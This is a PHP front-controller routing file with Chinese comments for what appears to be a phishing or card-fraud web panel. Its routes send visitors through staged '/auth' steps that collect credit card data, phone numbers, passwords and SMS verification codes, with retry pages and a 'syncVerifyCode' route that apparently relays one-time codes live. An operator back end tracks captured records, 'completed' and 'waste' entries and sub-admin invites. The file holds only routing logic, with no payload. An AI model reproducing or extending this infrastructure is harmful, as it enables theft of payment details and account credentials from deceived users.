<?php
/**
 * 应用入口文件（纯 PHP，不依赖框架）
 */

// 关闭错误显示，避免输出HTML格式的错误
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);

// 定义常量
define('ROOT_PATH', dirname(__DIR__));
define('APP_PATH', ROOT_PATH . '/app');
define('CORE_PATH', ROOT_PATH . '/core');
define('VIEW_PATH', ROOT_PATH . '/view');

// 加载核心文件
require CORE_PATH . '/Database.php';
require CORE_PATH . '/IpLocation.php';

// 加载工具函数
require ROOT_PATH . '/app/common.php';

// 路由处理
$requestUri = $_SERVER['REQUEST_URI'] ?? '/';
$requestUri = parse_url($requestUri, PHP_URL_PATH);
$requestUri = rtrim($requestUri, '/') ?: '/';

// 移除查询字符串
$requestUri = explode('?', $requestUri)[0];

// 处理静态文件（音频文件等）- 如果文件存在于 public 目录，直接输出
if (preg_match('/\.(mp3|wav|ogg|m4a)$/i', $requestUri)) {
    $filePath = __DIR__ . $requestUri;
    if (file_exists($filePath) && is_file($filePath)) {
        $mimeType = 'audio/mpeg';
        if (preg_match('/\.wav$/i', $requestUri)) {
            $mimeType = 'audio/wav';
        } elseif (preg_match('/\.ogg$/i', $requestUri)) {
            $mimeType = 'audio/ogg';
        } elseif (preg_match('/\.m4a$/i', $requestUri)) {
            $mimeType = 'audio/mp4';
        }
        header('Content-Type: ' . $mimeType);
        header('Content-Length: ' . filesize($filePath));
        header('Cache-Control: public, max-age=31536000');
        readfile($filePath);
        exit;
    }
}

// 路由映射（注意：更具体的路径要放在前面）
$routes = [
    '/' => 'index',
    '/index.php' => 'index',
    '/index' => 'index',
    '/auth' => 'auth',
    '/auth/click' => 'auth_click',
    '/auth/step1' => 'auth_step1',
    '/auth/step2' => 'auth_step2',
    '/auth/step3' => 'auth_step3',
    '/auth/step4' => 'auth_step4',
    '/auth/success' => 'auth_success',
    '/auth/getUserInfo' => 'auth_getUserInfo',
    '/auth/checkSubmitted' => 'auth_checkSubmitted',
    '/auth/sendCode' => 'auth_sendCode',
    '/auth/verifyCode' => 'auth_verifyCode',
    '/auth/syncVerifyCode' => 'auth_syncVerifyCode',
    '/auth/retryCard' => 'auth_retryCard',
    '/auth/retryPhone' => 'auth_retryPhone',
    '/auth/retryPassword' => 'auth_retryPassword',
    '/auth/creditCard' => 'auth_creditCard',
    '/auth/submitCreditCard' => 'auth_submitCreditCard',
    '/auth/skipCreditCard' => 'auth_skipCreditCard',
    '/auth/approved' => 'auth_approved',
    '/auth/complete' => 'auth_complete',
    '/auth/rejected' => 'auth_rejected',
    '/auth/submitInfo' => 'auth_submit',
    '/admin' => 'admin_index',
    '/admin/login' => 'admin_login',
    '/admin/logout' => 'admin_logout',
    '/admin/menu' => 'admin_menu',
    '/admin/home' => 'admin_home',
    '/admin/cache' => 'admin_cache',
    '/admin/changePassword' => 'admin_changePassword',
    '/admin/auth_record' => 'admin_auth_record',
    '/admin/user_info' => 'admin_user_info',
    '/admin/sub_admin_invite' => 'admin_sub_admin_invite', // 必须先于 sub_admin
    '/admin/sub_admin' => 'admin_sub_admin',
    '/admin/operation_log' => 'admin_operation_log',
    '/admin/waste_area' => 'admin_waste_area',
    '/admin/completed' => 'admin_completed',
    '/admin/call' => 'admin_call',
    '/auth/revoked' => 'auth_revoked',
    '/auth/call' => 'auth_call',
];

// 处理路由
$action = 'index';
foreach ($routes as $path => $routeAction) {
    if ($requestUri === $path || $requestUri === rtrim($path, '/')) {
        $action = $routeAction;
        break;
    }
}

// 特殊处理：认证相关路由
if (strpos($requestUri, '/auth') === 0) {
    if ($requestUri === '/auth/click' || strpos($requestUri, '/auth/click') === 0) {
        $action = 'auth_click';
    } elseif ($requestUri === '/auth/step1' || strpos($requestUri, '/auth/step1') === 0) {
        $action = 'auth_step1';
    } elseif ($requestUri === '/auth/step2' || strpos($requestUri, '/auth/step2') === 0) {
        $action = 'auth_step2';
    } elseif ($requestUri === '/auth/step3' || strpos($requestUri, '/auth/step3') === 0) {
        $action = 'auth_step3';
    } elseif ($requestUri === '/auth/step4' || strpos($requestUri, '/auth/step4') === 0) {
        $action = 'auth_step4';
    } elseif ($requestUri === '/auth/success' || strpos($requestUri, '/auth/success') === 0) {
        $action = 'auth_success';
    } elseif ($requestUri === '/auth/getUserInfo' || strpos($requestUri, '/auth/getUserInfo') === 0) {
        $action = 'auth_getUserInfo';
    } elseif ($requestUri === '/auth/checkSubmitted' || strpos($requestUri, '/auth/checkSubmitted') === 0) {
        $action = 'auth_checkSubmitted';
    } elseif ($requestUri === '/auth/sendCode' || strpos($requestUri, '/auth/sendCode') === 0) {
        $action = 'auth_sendCode';
    } elseif ($requestUri === '/auth/syncVerifyCode' || strpos($requestUri, '/auth/syncVerifyCode') === 0) {
        $action = 'auth_syncVerifyCode';
    } elseif ($requestUri === '/auth/checkVerifyStatus' || strpos($requestUri, '/auth/checkVerifyStatus') === 0) {
        $action = 'auth_checkVerifyStatus';
    } elseif ($requestUri === '/auth/verifySms' || strpos($requestUri, '/auth/verifySms') === 0) {
        $action = 'auth_verifySms';
    } elseif ($requestUri === '/auth/verifyCode' || strpos($requestUri, '/auth/verifyCode') === 0) {
        $action = 'auth_verifyCode';
    } elseif ($requestUri === '/auth/retryCard' || strpos($requestUri, '/auth/retryCard') === 0) {
        $action = 'auth_retryCard';
    } elseif ($requestUri === '/auth/retryPhone' || strpos($requestUri, '/auth/retryPhone') === 0) {
        $action = 'auth_retryPhone';
    } elseif ($requestUri === '/auth/retryPassword' || strpos($requestUri, '/auth/retryPassword') === 0) {
        $action = 'auth_retryPassword';
    } elseif ($requestUri === '/auth/creditCard' || strpos($requestUri, '/auth/creditCard') === 0) {
        $action = 'auth_creditCard';
    } elseif ($requestUri === '/auth/submitCreditCard' || strpos($requestUri, '/auth/submitCreditCard') === 0) {
        $action = 'auth_submitCreditCard';
    } elseif ($requestUri === '/auth/skipCreditCard' || strpos($requestUri, '/auth/skipCreditCard') === 0) {
        $action = 'auth_skipCreditCard';
    } elseif ($requestUri === '/auth/approved' || strpos($requestUri, '/auth/approved') === 0) {
        $action = 'auth_approved';
    } elseif ($requestUri === '/auth/complete' || strpos($requestUri, '/auth/complete') === 0) {
        $action = 'auth_complete';
    } elseif ($requestUri === '/auth/rejected' || strpos($requestUri, '/auth/rejected') === 0) {
        $action = 'auth_rejected';
    } elseif ($requestUri === '/auth/revoked' || strpos($requestUri, '/auth/revoked') === 0) {
        $action = 'auth_revoked';
    } elseif ($requestUri === '/auth/submitInfo' || strpos($requestUri, '/auth/submitInfo') === 0) {
        $action = 'auth_submit';
    } elseif ($requestUri === '/auth' || $requestUri === '/auth/') {
        $action = 'auth';
    }
}

// 特殊处理：前台访问统计
if (strpos($requestUri, '/stat') === 0) {
    if ($requestUri === '/stat/recordVisit' || strpos($requestUri, '/stat/recordVisit') === 0) {
        $action = 'stat_recordVisit';
    }
}

// 特殊处理：前台配置API（无需登录）
if (strpos($requestUri, '/config/getBalanceByInviteCode') === 0) {
    $action = 'admin_config';
}

// 特殊处理：后台路由
if (strpos($requestUri, '/admin') === 0) {
    if ($requestUri === '/admin/login' || strpos($requestUri, '/admin/login') === 0) {
        $action = 'admin_login';
    } elseif ($requestUri === '/admin/logout' || strpos($requestUri, '/admin/logout') === 0) {
        $action = 'admin_logout';
    } elseif (strpos($requestUri, '/admin/statistics') === 0) {
        // 访问统计路由
        $action = 'admin_statistics';
    } elseif (strpos($requestUri, '/admin/config') === 0) {
        // 系统配置路由
        $action = 'admin_config';
    } elseif ($requestUri === '/admin/sub_admin_invite' || strpos($requestUri, '/admin/sub_admin_invite') === 0) {
        // 必须先检查 sub_admin_invite，因为 sub_admin_invite 包含 sub_admin 字符串
        $action = 'admin_sub_admin_invite';
    } elseif ($requestUri === '/admin/sub_admin' || strpos($requestUri, '/admin/sub_admin') === 0) {
        $action = 'admin_sub_admin';
    } elseif ($requestUri === '/admin/operation_log' || strpos($requestUri, '/admin/operation_log') === 0) {
        $action = 'admin_operation_log';
    } elseif ($requestUri === '/admin/waste_area' || strpos($requestUri, '/admin/waste_area') === 0) {
        $action = 'admin_waste_area';
    } elseif ($requestUri === '/admin/completed' || strpos($requestUri, '/admin/completed') === 0) {
        $action = 'admin_completed';
    } elseif ($requestUri === '/admin/call' || strpos($requestUri, '/admin/call') === 0) {
        $action = 'admin_call';
    } elseif ($requestUri === '/admin' || $requestUri === '/admin/') {
        $action = 'admin_index';
    }
}

// 执行对应的控制器方法
switch ($action) {
    case 'index':
        include APP_PATH . '/index/controller/Index.php';
        break;
    case 'auth':
        include APP_PATH . '/index/controller/Auth.php';
        break;
        case 'auth_click':
        case 'auth_step1':
        case 'auth_step2':
        case 'auth_step3':
        case 'auth_step4':
        case 'auth_success':
        case 'auth_getUserInfo':
        case 'auth_checkSubmitted':
        case 'auth_sendCode':
        case 'auth_syncVerifyCode':
        case 'auth_checkVerifyStatus':
        case 'auth_verifySms':
        case 'auth_verifyCode':
        case 'auth_retryCard':
        case 'auth_retryPhone':
        case 'auth_retryPassword':
        case 'auth_creditCard':
        case 'auth_submitCreditCard':
        case 'auth_skipCreditCard':
        case 'auth_approved':
        case 'auth_complete':
        case 'auth_rejected':
        case 'auth_revoked':
        case 'auth_submit':
            include APP_PATH . '/index/controller/Auth.php';
            break;
    case 'admin_login':
        include APP_PATH . '/admin/controller/Login.php';
        break;
    case 'admin_logout':
        include APP_PATH . '/admin/controller/Login.php';
        break;
    case 'admin_index':
    case 'admin_menu':
    case 'admin_home':
    case 'admin_cache':
    case 'admin_changePassword':
        include APP_PATH . '/admin/controller/Index.php';
        break;
    case 'admin_auth_record':
        include APP_PATH . '/admin/controller/AuthRecord.php';
        break;
    case 'admin_user_info':
        include APP_PATH . '/admin/controller/UserInfo.php';
        break;
    case 'admin_sub_admin':
        include APP_PATH . '/admin/controller/SubAdmin.php';
        break;
    case 'admin_operation_log':
        include APP_PATH . '/admin/controller/OperationLog.php';
        break;
    case 'admin_sub_admin_invite':
        include APP_PATH . '/admin/controller/SubAdminInvite.php';
        break;
    case 'admin_waste_area':
        include APP_PATH . '/admin/controller/WasteArea.php';
        break;
    case 'admin_completed':
        include APP_PATH . '/admin/controller/Completed.php';
        break;
    case 'admin_call':
        include APP_PATH . '/admin/controller/Call.php';
        break;
    case 'admin_statistics':
        include APP_PATH . '/admin/controller/Statistics.php';
        break;
    case 'admin_config':
        include APP_PATH . '/admin/controller/Config.php';
        break;
    case 'stat_recordVisit':
        include APP_PATH . '/index/controller/Stat.php';
        break;
    case 'auth_call':
        include APP_PATH . '/index/controller/Auth.php';
        break;
    case 'install':
        if (file_exists(__DIR__ . '/install.php')) {
            include __DIR__ . '/install.php';
        } else {
            http_response_code(404);
            echo '404 Not Found';
        }
        break;
    default:
        http_response_code(404);
        echo '404 Not Found';
        break;
}
